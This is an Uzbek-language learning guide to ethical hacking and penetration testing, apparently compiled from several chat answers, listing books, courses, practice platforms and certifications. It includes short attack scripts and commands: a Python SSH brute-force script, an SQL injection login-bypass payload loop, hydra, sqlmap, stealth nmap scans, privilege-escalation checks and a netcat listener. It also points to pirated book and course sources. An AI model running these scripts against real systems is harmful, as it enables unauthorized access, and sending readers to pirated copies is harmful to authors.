**Ethical Hacking & Penetration Testing Bo‘yicha To‘liq Qo‘llanma**

Agar ethical hacking va penetration testing (pentesting) yo‘nalishini chuqur o‘rganmoqchi bo‘lsang, quyidagi manbalar juda foydali bo‘ladi:

**1. O‘rganish Tartibi (Recommended Learning Path)**

1️. **Linux va Networking asoslarini o‘rganish** (Linux CLI, TCP/IP, Firewalls, OSI model)  
2️.**Basic Cybersecurity concepts** (Xavfsizlik tushunchalari, Kali Linux, Bash Scripting)  
3️.**Hacking va ekspluatatsiya metodlarini o‘rganish** (OWASP Top 10, SQL Injection, XSS, CSRF)  
4️.**Amaliy Ethical Hacking va Penetration Testing** (TryHackMe, Hack The Box, VulnHub)  
5️.**Professional sertifikatlar olish va real loyihalarda qatnashish** (CEH, OSCP, PNPT)

**2. Kitoblar**

**Ethical Hacking va Pentesting Kitoblari**

**"Hacking: The Art of Exploitation"** – Jon Erickson  
**"The Web Application Hacker’s Handbook"** – Dafydd Stuttard  
**"Metasploit: The Penetration Tester’s Guide"** – David Kennedy  
**"The Basics of Hacking and Penetration Testing"** – Patrick Engebretson  
**"Black Hat Python: Python Programming for Hackers and Pentesters"** – Justin Seitz

**Amaliy Kitoblar**

**"Advanced Penetration Testing: Hacking the World's Most Secure Networks"** – Wil Allsopp  
**"Gray Hat Hacking: The Ethical Hacker’s Handbook"** – Allen Harper  
**"Practical Reverse Engineering"** – Bruce Dang

**3. Bepul va Pullik Kurslar**

**Bepul Kurslar (Free Courses)**

🔹 [**Cybrary – Ethical Hacking Course**](https://www.cybrary.it/course/ethical-hacking/)  
🔹 [**EDX – Introduction to Cybersecurity**](https://www.edx.org/course/introduction-to-cybersecurity)  
🔹 [**PentesterLab – Free Badge**](https://pentesterlab.com/badges/web_for_pentester)  
🔹 [**TryHackMe – Pre Security Learning Path**](https://tryhackme.com/room/presecurity)  
🔹 [**Open Security Training – Assembly, Reverse Engineering**](http://opensecuritytraining.info/)

**Pullik Kurslar**

🔸 [**Udemy – The Complete Ethical Hacking Course**](https://www.udemy.com/course/the-complete-ethical-hacking-course/)  
🔸 [**Offensive Security – PWK (OSCP)**](https://www.offensive-security.com/pwk-oscp/)  
🔸 [**SANS – SEC560: Network Penetration Testing & Ethical Hacking**](https://www.sans.org/cyber-security-courses/network-penetration-testing-ethical-hacking/)

**4. Praktika Uchun Platformalar**

[**TryHackMe**](https://www.tryhackme.com/) – Ethical hacking va pentesting uchun interaktiv laboratoriyalar  
[**Hack The Box**](https://www.hackthebox.com/) – Pentesterlar uchun murakkab real-world muammolar  
[**VulnHub**](https://www.vulnhub.com/) – Amaliy ekspluatatsiya mashg‘ulotlari  
[**Root-Me**](https://www.root-me.org/) – Ethical hacking challenge’lar  
[**CTFTime**](https://ctftime.org/) – Capture The Flag (CTF) musobaqalari uchun manba

**5. Sertifikatlar**

Agar ethical hacking va pentesting bo‘yicha professional bo‘lishni xohlasang, quyidagi sertifikatlar foydali:

🔹 **Certified Ethical Hacker (CEH) – EC-Council**  
 Ethical hackingning asosiy tushunchalarini o‘z ichiga oladi.

🔹 **Offensive Security Certified Professional (OSCP) – Offensive Security**  
 Amaliy pentesting bo‘yicha eng kuchli sertifikatlardan biri.

🔹 **Practical Network Penetration Tester (PNPT) – TCM Security**  
 Ethical hacking va real-world pentesting.

🔹 **GIAC Penetration Tester (GPEN) – SANS Institute**  
 Network pentesting va ekspluatatsiya.

🔹 **Certified Red Team Operator (CRTO) – Zero-Point Security**  
 Red Team operatsiyalari va real dunyo simulyatsiyalari.

**6. Xavfsizlik Yangiliklari va Bloglar**

🔸 [**The Hacker News**](https://thehackernews.com/) – Kiberxavfsizlik yangiliklari  
🔸 [**Krebs on Security**](https://krebsonsecurity.com/) – Cybersecurity bo‘yicha blog  
🔸 [**Dark Reading**](https://www.darkreading.com/) – Xavfsizlik yangiliklari  
🔸 [**Exploit Database**](https://www.exploit-db.com/) – Ekspluatatsiyalar va zaifliklar  
🔸 [**Bugcrowd Blog**](https://www.bugcrowd.com/blog/) – Ethical hacking va bug bounty yangiliklari

**7. Amaliy Ethical Hacking Proyektlar**

💻 **Kali Linux va Metasploit orqali zaifliklarni sinash**  
💻 **Web ilovalardagi OWASP Top 10 zaifliklarini sinash**  
💻 **Nmap, Wireshark yordamida tarmoqni skanerlash va trafik tahlili**  
💻 **CTF musobaqalarida ishtirok etish (PicoCTF, Hack The Box)**  
💻 **Python yordamida hacking skriptlari yozish (Port skanerlash, Exploit yozish)**

**8. Ethical Hacking Bo‘yicha Amaliy Mashqlar**

**Kali Linux Komandalari**

nmap -sV -A target.com # Tarmoqni skanerlash

hydra -l admin -P passwords.txt 192.168.1.1 ssh # SSH bruteforce

msfconsole # Metasploit Framework’ni ishga tushirish

sqlmap -u "http://example.com?id=1" --dbs # SQL Injection

**Python yordamida oddiy port skaner**

import socket

target = "192.168.1.1"

ports = [21, 22, 80, 443]

for port in ports:

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

s.settimeout(1)

result = s.connect\_ex((target, port))

if result == 0:

print(f"Port {port} ochiq!")

s.close()

**Xulosa**

Agar ethical hacking bo‘yicha professional bo‘lishni xohlasang, avval tarmoq xavfsizligi va Linux’ni o‘rganib, keyin pentesting platformalarida amaliy mashqlar qilishing kerak. Sertifikat olish esa karyerang uchun katta foyda beradi.

**Boshlash uchun eng yaxshi manbalar:**  
✅ **TryHackMe - Practical Learning**  
✅ **Kali Linux va Metasploit**  
✅ **CEH yoki OSCP Sertifikatlar**  
✅ **The Web Application Hacker's Handbook**

**Yordam beragnimdan xursandman!**

**By Zuhra Shavkatova**

### ****Ethical Hacking va Pentesting uchun Python va Linux Buyruqlari****

Ethical hackingda **Python** va **Linux buyruqlari** juda muhim rol o‘ynaydi. Chunki **penetration testing** jarayonida avtomatlashtirish, ekspluatatsiya va tarmoq skanerlashda bu vositalar eng samarali usullardan hisoblanadi. Quyida Python kodlari va Linux buyruqlarini chuqurroq o‘rganish uchun to‘liq tushuntirish beraman.

## ****1. Ethical Hacking uchun Python Skriptlar****

Python **pentesting**, **ekspluatatsiya**, **tarmoq skanerlash**, va **shifrlarni buzish** uchun keng qo‘llaniladi.

### ****1.1. Port Skaner (Nmap Alternativi)****

Bu kod biror IP-manzildagi ochiq portlarni aniqlaydi.

import socket

def port\_scan(target, ports):

print(f"[+] {target} ni skanerlash...")

for port in ports:

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

s.settimeout(1) # Har bir portni tekshirish vaqti

result = s.connect\_ex((target, port)) # 0 - Ochiq, 1 - Yopiq

if result == 0:

print(f"[+] Port {port} ochiq!")

s.close()

target = "192.168.1.1" # IP-manzil

ports = [21, 22, 80, 443, 3306] # FTP, SSH, HTTP, HTTPS, MySQL portlari

port\_scan(target, ports)

**Tushuntirish:**

* socket.socket(socket.AF\_INET, socket.SOCK\_STREAM): TCP ulanish yaratish.
* s.connect\_ex((target, port)): Agar 0 qaytarsa, port ochiq.
* settimeout(1): Har bir portni tekshirish uchun vaqt chegarasi.

**Linux’ning o‘xshash buyruqlari**

nmap -sV 192.168.1.1 # Barcha ochiq portlarni aniqlash

### ****1.2. Bruteforce SSH Login Script (Parolni buzish)****

Bu skript berilgan login va parollar ro‘yxatidan foydalanib SSH tizimiga ulanishga harakat qiladi.

import paramiko

def ssh\_bruteforce(target, username, passwords):

ssh = paramiko.SSHClient()

ssh.set\_missing\_host\_key\_policy(paramiko.AutoAddPolicy())

for password in passwords:

try:

ssh.connect(target, username=username, password=password, timeout=2)

print(f"[+] Parol topildi: {password}")

ssh.close()

return

except:

print(f"[-] {password} noto‘g‘ri!")

target = "192.168.1.1"

username = "admin"

passwords = ["1234", "password", "admin123", "root"]

ssh\_bruteforce(target, username, passwords)

**Tushuntirish:**

* paramiko.SSHClient(): SSH ulanishini yaratish.
* ssh.connect(): SSH orqali tizimga ulanib ko‘rish.

**Linux’ning o‘xshash buyruqlari:**

hydra -l admin -P passwords.txt ssh://192.168.1.1

### ****1.3. SQL Injection avtomatik ekspluatatsiya****

Bu kod vebsaytdagi SQL Injection zaifligini aniqlaydi.

import requests

url = "http://example.com/login.php"

payloads = ["' OR 1=1 --", "' OR 'a'='a' --", "' OR 'x'='x' --"]

for payload in payloads:

data = {"username": payload, "password": "password"}

response = requests.post(url, data=data)

if "Welcome" in response.text:

print(f"[+] SQL Injection muvaffaqiyatli! Payload: {payload}")

**Tushuntirish:**

* "OR 1=1" SQL Injection orqali hamma ma’lumotlarni ko‘rsatish.
* requests.post(url, data=data): Serverga login so‘rovini yuborish.

**Linux’ning o‘xshash buyruqlari:**

sqlmap -u "http://example.com/login.php" --data="username=admin&password=" --dbs

## ****2. Ethical Hacking uchun Linux Buyruqlari****

Pentesting jarayonida Linux buyruqlari juda muhim. Quyida asosiy buyruqlarni ko‘rib chiqamiz.

### ****2.1. Tarmoq skanerlash va monitoring****

✅ **Nmap orqali tarmoqni tekshirish**

nmap -sS -Pn -p 22,80,443 192.168.1.1

* -sS → Stealth scan (yashirin skanerlash)
* -Pn → Ping tekshirishsiz skanerlash
* -p → Muayyan portlarni tekshirish

✅ **Netcat yordamida yashirin ma'lumot olish**

nc -nv 192.168.1.1 80

* -nv → Port ulanishi haqida ma’lumot

✅ **Wireshark orqali trafikni yozish**

tshark -i eth0 -w capture.pcap

* -i eth0 → Ethernet interfeysni tanlash
* -w capture.pcap → Trafikni yozib olish

### ****2.2. Foydalanuvchi huquqlarini oshirish (Privilege Escalation)****

✅ **Kim foydalanuvchi huquqlarini oshira oladi?**

sudo -l

✅ **SetUID fayllarni topish**

find / -perm -4000 -type f 2>/dev/null

* **SetUID huquqi** → Root huquqlariga ega bo‘lishi mumkin bo‘lgan fayllar.

✅ **Kernel zaifligini tekshirish**

uname -a

cat /etc/os-release

* **Kernel versiyasi** → Zaifligini aniqlash uchun.

### ****2.3. Metasploit orqali ekspluatatsiya****

✅ **Metasploit’ni ishga tushirish**

msfconsole

✅ **Zaiflikni skanerlash**

use auxiliary/scanner/ssh/ssh\_login

set RHOSTS 192.168.1.1

set USERNAME admin

set PASSWORDS passwords.txt

exploit

✅ **Reverse Shell (Uzoqdan boshqarish)**

nc -lvp 4444

* **Netcat orqali shell olish**

## ****Xulosa****

Agar ethical hacking va pentesting bo‘yicha chuqur bilim olishni istasang:

🔹 **Python** orqali ekspluatatsiya va avtomatlashtirishni o‘rgan  
🔹 **Linux** buyruqlarini bilib ol, ayniqsa, tarmoq va zaifliklarni tekshirishni  
🔹 **Nmap, Metasploit, Hydra, Wireshark** kabi vositalarni ishlat  
🔹 **TryHackMe, HackTheBox** kabi platformalarda amaliyot qil

Agar yana savollaring bo‘lsa, bemalol so‘ra! 😊

Ethical hacking va penetration testing bo‘yicha chuqur bilim olish uchun quyidagi **asosiy yo‘nalishlar**, **manbalar**, **platformalar**, va **sertifikatlar**ni o‘rganish kerak. Men har bir yo‘nalish bo‘yicha qanday o‘rganish kerakligini to‘liq tushuntirib beraman.

## ****1. Ethical Hacking & Penetration Testing’ni O‘rganish Yo‘nalishlari****

Ethical hacking bo‘yicha bilim olish uchun **quyidagi bosqichma-bosqich yo‘nalishlar** bo‘yicha harakat qilish kerak:

1️⃣ **Linux va Terminal buyruqlarini o‘rganish** (bash, chmod, netstat, iptables, tcpdump)  
2️⃣ **Tarmoq xavfsizligi va TCP/IP asoslarini tushunish** (IP, MAC, ARP, DNS, HTTP, HTTPS, SSH)  
3️⃣ **Penetration Testing vositalarini o‘rganish** (Nmap, Metasploit, Wireshark, Hydra)  
4️⃣ **Zaifliklarni aniqlash va ekspluatatsiya qilish** (SQL Injection, XSS, Buffer Overflow)  
5️⃣ **Reverse Engineering va Malware Analysis** (IDA Pro, Ghidra, OllyDbg)  
6️⃣ **Python va Bash skriptlari orqali avtomatlashtirish**  
7️⃣ **TryHackMe & HackTheBox kabi platformalarda amaliy mashg‘ulotlar qilish**

## ****2. Ethical Hacking va Pentesting’ni O‘rganish uchun Resurslar****

Bu yerda **kitoblar, kurslar, vebsaytlar va amaliy platformalar** berilgan.

### ****2.1. Kitoblar (PDF va Hardcopy)****

✅ **“The Web Application Hacker’s Handbook” – Dafydd Stuttard & Marcus Pinto**

* Web zaifliklarini topish va ekspluatatsiya qilish haqida batafsil ma’lumot  
  ✅ **“Hacking: The Art of Exploitation” – Jon Erickson**
* Buffer overflow, exploit development, Linux security  
  ✅ **“Penetration Testing: A Hands-On Introduction to Hacking” – Georgia Weidman**
* Ethical hacking va pentestingga kirish

📥 **PDF topish uchun:**

* [**https://z-lib.io/**](https://z-lib.io/)
* [**https://www.pdfdrive.com/**](https://www.pdfdrive.com/)
* [**https://github.com/nahamsec/Resources**](https://github.com/nahamsec/Resources) (bepul hacking resurslari)

### ****2.2. Bepul Online Kurslar****

🔹 **Udemy** → "Learn Ethical Hacking From Scratch" (Bepul versiyasini topish mumkin)  
🔹 **Coursera** → "Introduction to Cybersecurity & Ethical Hacking"  
🔹 **TryHackMe** → "Pre Security" va "Offensive Pentesting" yo‘nalishlari  
🔹 **Hack The Box Academy** → "Starting Point" kursi  
🔹 **Cybrary** → Ethical hacking va pentesting kurslari

📌 **Manbalar:**

* [TryHackMe](https://tryhackme.com/) – Interaktiv ethical hacking kurslari
* [HackTheBox](https://www.hackthebox.com/) – Pentesting challenge’lar
* [Cybrary](https://www.cybrary.it/) – Bepul ethical hacking kurslari
* [PentesterLab](https://pentesterlab.com/) – Zaifliklarni topish bo‘yicha amaliy mashg‘ulotlar

### ****2.3. Amaliy Hacking Platformalari****

Bu platformalarda siz haqiqiy tizimlarda **ethical hacking** bo‘yicha amaliyot qilishingiz mumkin.

💻 **TryHackMe** (<https://tryhackme.com/>) – Ethical hacking va pentesting uchun eng yaxshi platforma  
💻 **HackTheBox** (<https://www.hackthebox.com/>) – Haqiqiy serverlar orqali amaliyot qilish  
💻 **OverTheWire (Bandit)** (<https://overthewire.org/>) – Linux hacking challenge’lar  
💻 **Root Me** (<https://www.root-me.org/>) – CTF challenge’lar

### ****2.4. Ethical Hacking vositalarini o‘rganish****

💡 **Kali Linux yoki Parrot OS** → Ethical hacking va pentesting uchun maxsus Linux distribyutsiyalari.  
💡 **Nmap** → Portlarni skanerlash va tarmoq zaifliklarini aniqlash.  
💡 **Metasploit** → Zaifliklarni ekspluatatsiya qilish uchun eng mashhur framework.  
💡 **Wireshark** → Tarmoq trafikini tahlil qilish.  
💡 **Burp Suite** → Web zaifliklarini topish va ekspluatatsiya qilish.  
💡 **SQLMap** → SQL Injection zaifliklarini avtomatik ekspluatatsiya qilish.

📌 **Manbalar:**

* [Nmap rasmiy dokumentatsiya](https://nmap.org/book/)
* [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)
* [Burp Suite Guide](https://portswigger.net/burp/documentation)

## ****3. Ethical Hacking bo‘yicha Sertifikatlar****

Agar professional ethical hacker bo‘lishni istasang, quyidagi sertifikatlar juda foydali:

### ****3.1. Beginner (Boshlang‘ich daraja)****

✅ **CompTIA Security+** → Tarmoq xavfsizligi va ethical hacking asoslari  
✅ **Certified Ethical Hacker (CEH)** → Ethical hacking asoslari (biroz qimmat)

### ****3.2. Intermediate (O‘rta daraja)****

✅ **eLearnSecurity Junior Penetration Tester (eJPT)** → Amaliy pentesting sertifikati  
✅ **Offensive Security Certified Professional (OSCP)** → Eng yaxshi ethical hacking sertifikati

### ****3.3. Advanced (Professional daraja)****

✅ **Certified Red Team Operator (CRTO)** → Real dunyo hujumlarini o‘rganish  
✅ **GIAC Penetration Tester (GPEN)** → Zaifliklarni topish va ekspluatatsiya qilish

📌 **Sertifikat topshirish uchun manbalar:**

* [**https://www.offensive-security.com/courses-and-certifications/oscp/**](https://www.offensive-security.com/courses-and-certifications/oscp/) (OSCP)
* [**https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/**](https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/) (CEH)
* [**https://www.ine.com/**](https://www.ine.com/) (eJPT)

## ****4. Ethical Hacking bo‘yicha Dasturiy Ta’minotlar va Vositalar****

💾 **Kali Linux yoki Parrot OS** – Ethical hacking uchun maxsus operatsion tizim  
💾 **Nmap** – Tarmoq skaneri  
💾 **Metasploit** – Pentesting framework  
💾 **Wireshark** – Trafikni tahlil qilish  
💾 **John The Ripper / Hashcat** – Parollarni buzish  
💾 **SQLMap** – SQL Injection ekspluatatsiyasi

📌 **Qayerdan yuklab olish?**

* Kali Linux → <https://www.kali.org/downloads/>
* Parrot OS → <https://parrotsec.org/>
* Metasploit → <https://www.metasploit.com/>

## ****5. Ethical Hacking bo‘yicha Amaliy Loyihalar****

🛠 \*\*Port skaner yaratish (Python + Nmap)  
🛠 SQL Injection aniqlovchi bot yozish (Python + SQLMap)  
🛠 Kali Linux va Metasploit orqali ekspluatatsiya qilish  
🛠 SSH bruteforce skriptini yozish  
🛠 O‘z laboratoriyangni yaratib, tarmoq xavfsizligini sinash

## ****Xulosa****

🚀 Ethical hacking bo‘yicha mutaxassis bo‘lish uchun:  
✅ **Birinchi qadam:** Linux va terminal buyruqlarini o‘rgan  
✅ **Ikkinchi qadam:** Python orqali avtomatlashtirishni o‘rgan  
✅ **Uchinchi qadam:** TryHackMe va HackTheBox’da amaliyot qil  
✅ **To‘rtinchi qadam:** Nmap, Metasploit, Wireshark kabi vositalarni ishlat  
✅ **Beshinchi qadam:** CEH, eJPT, OSCP kabi sertifikatlarni olish

Agar yana savollaring bo‘lsa, bemalol so‘ra! 😊

Agar **Ethical Hacking** bo‘yicha mutaxassis bo‘lishni istasang, bosqichma-bosqich quyidagi qadamlarni bajarishing kerak. Har bir qadam uchun **asosiy bilimlar**, **muhim jihatlar** va **qayerdan o‘rganish** haqida to‘liq ma’lumot beraman.

## ****1️⃣ Linux va Terminal Buyruqlarini O‘rganish****

💡 **Nega muhim?**

* Hamma hacking operatsiyalari Linux’da bajariladi.
* Kali Linux, Parrot OS kabi ethical hacking tizimlari ishlaydi.
* Terminal orqali buyruqlarni bilish kerak (Bash Scripting ham muhim).

🛠 **Nimalarni o‘rganish kerak?**  
✅ **Asosiy Linux buyruqlari:**

* ls, cd, pwd, mkdir, rm, cp, mv, touch – Foyllar bilan ishlash
* chmod, chown, find, locate, grep, awk, sed – Foydalanuvchi huquqlari va fayl qidirish
* tar, gzip, zip, unzip – Fayllarni arxivlash
* top, htop, kill, ps – Jarayonlarni boshqarish
* netstat, ss, ip, ifconfig, iwconfig, tcpdump – Tarmoqni tekshirish
* sudo, su, passwd, whoami – Foydalanuvchi huquqlari

✅ **Muhim xavfsizlik buyruqlari:**

* iptables, ufw – Firewall sozlash
* ssh, scp, rsync – Masofaviy ulanish va ma’lumot uzatish
* nc, telnet, curl, wget – Tarmoqda test qilish

📌 **Qayerdan o‘rganish?**  
🔹 **OverTheWire: Bandit** → <https://overthewire.org/wargames/bandit/>  
🔹 **Linux Journey** → <https://linuxjourney.com/>  
🔹 **TryHackMe - Linux Fundamentals** → <https://tryhackme.com/room/linuxfundamentals>

## ****2️⃣ Python orqali Avtomatlashtirishni O‘rganish****

💡 **Nega muhim?**

* Ethical hacking vazifalarini avtomatlashtirish kerak.
* Nmap, Wireshark va boshqa vositalar bilan Python ishlaydi.
* Shaxsiy hacking skriptlaringni yozish imkoniyati bo‘ladi.

🛠 **Nimalarni o‘rganish kerak?**  
✅ **Asosiy Python bilimlari:**

* os, subprocess – Linux buyruqlarini ishlatish
* requests, socket – HTTP va tarmoq dasturlash
* paramiko – SSH bilan ishlash
* scapy – Tarmoq paketlarini o‘rganish
* BeautifulSoup – Web scraping

✅ **Muhim hacking skriptlar:**  
🔹 **Port skaner** → Python + socket  
🔹 **Brute-force attack** → Python + paramiko  
🔹 **Packet sniffer** → Python + scapy  
🔹 **SQL Injection tester** → Python + requests

📌 **Qayerdan o‘rganish?**  
🔹 **Python for Ethical Hacking (Udemy)** → <https://www.udemy.com/course/python-for-ethical-hacking/>  
🔹 **Pentestmonkey Python Scripts** → <http://pentestmonkey.net/tools/web-shells>  
🔹 **TryHackMe - Python Basics** → <https://tryhackme.com/room/pythonbasics>

## ****3️⃣ TryHackMe va HackTheBox’da Amaliyot O‘tkazish****

💡 **Nega muhim?**

* Amaliy hacking mashg‘ulotlari real dunyo muhitida.
* Zaifliklarni topish va ekspluatatsiya qilishni o‘rganish.
* "Capture The Flag" (CTF) challenge’lar orqali tajriba orttirish.

🛠 **Nimalarni o‘rganish kerak?**  
✅ **TryHackMe bosqichlari:**  
🔹 **Pre Security** – Boshlovchilar uchun (Linux, Networking, Web)  
🔹 **Offensive Pentesting** – Zaifliklarni aniqlash va ekspluatatsiya qilish  
🔹 **Web Fundamentals** – Web hacking asoslari

✅ **HackTheBox bosqichlari:**  
🔹 **Starting Point** – Boshlang‘ich hacking muammolari  
🔹 **Active Directory** – Korporativ tarmoqlarni buzish (Red Team)  
🔹 **Reverse Engineering** – Assembly va exploit yaratish

📌 **Qayerdan o‘rganish?**  
🔹 **TryHackMe** → <https://tryhackme.com/>  
🔹 **HackTheBox** → <https://www.hackthebox.com/>  
🔹 **CTF Challenges** → <https://ctftime.org/>

## ****4️⃣ Ethical Hacking Vositalarini Ishlatish****

💡 **Nega muhim?**

* Real tarmoq va tizim zaifliklarini topish va sinash uchun.
* Har bir vosita turli hacking bosqichlarida qo‘llaniladi.

🛠 **Muhim Ethical Hacking vositalari**  
✅ **Tarmoq tekshirish**

* Nmap – Portlarni skanerlash
* Wireshark – Paketlarni tahlil qilish
* Netcat (nc) – Tarmoqda aloqa qilish

✅ **Zaifliklarni topish**

* Metasploit – Exploit framework
* SQLMap – SQL Injection tekshirish
* Burp Suite – Web application pentesting

✅ **Parol sinash va ekspluatatsiya qilish**

* Hydra – SSH, FTP, HTTP bruteforce
* John The Ripper – Hash buzish
* Aircrack-ng – Wi-Fi parollarini buzish

📌 **Qayerdan o‘rganish?**  
🔹 **Metasploit Unleashed** → <https://www.offensive-security.com/metasploit-unleashed/>  
🔹 **Nmap Guide** → <https://nmap.org/book/toc.html>  
🔹 **Wireshark University** → <https://www.wireshark.org/docs/>

## ****5️⃣ Sertifikatlar Olish (CEH, eJPT, OSCP)****

💡 **Nega muhim?**

* **CEH** – Ethical hacking asoslari (Boshlang‘ich)
* **eJPT** – Real amaliy pentesting (O‘rta daraja)
* **OSCP** – Eng kuchli penetration testing sertifikati

📌 **Qayerdan olish?**  
🔹 **CEH (Certified Ethical Hacker)** → <https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/>  
🔹 **eJPT (eLearnSecurity)** → <https://elearnsecurity.com/product/ejpt-certification/>  
🔹 **OSCP (Offensive Security)** → <https://www.offensive-security.com/courses-and-certifications/>

## ****Xulosa****

🚀 **Ethical hacking mutaxassisi bo‘lish uchun**:  
✅ **Linux va terminal buyruqlarini o‘rgan**  
✅ **Python orqali avtomatlashtirishni bil**  
✅ **TryHackMe va HackTheBox’da amaliyot qil**  
✅ **Nmap, Metasploit, Wireshark kabi vositalarni ishlat**  
✅ **CEH, eJPT, OSCP kabi sertifikatlarni ol**

Savollaring bo‘lsa, bemalol so‘ra! 😊